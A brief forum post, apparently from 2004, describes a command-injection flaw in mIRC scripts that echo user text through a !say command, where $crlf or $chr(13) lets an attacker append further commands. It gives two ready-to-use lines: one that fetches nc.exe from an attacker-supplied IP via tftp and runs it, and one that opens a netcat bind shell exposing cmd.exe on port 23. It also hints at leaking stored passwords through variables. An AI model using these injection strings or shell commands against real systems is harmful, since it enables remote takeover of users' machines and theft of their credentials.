I just found a bug on MIRC on users with !say commands activated.
The bug includes remote execution of commands using $crlf
example if someone has !say script running.
!say something $crlf join #123
and the script will only say something, then execute the /join command after that.

This could be major if someone dont have /run locked.
someone could get total control of a pc with two lines
!say test $crlf run tftp -i <ip> get nc.exe
!say test $crlf run nc.exe -l -p 23 -e cmd.exe
voila! you got instant access on port 23!
other bugs include $chr(13)
even get the passwords in you client with !say %passwd or something.


Last edited by Grumpy; 10/07/04 04:47 AM.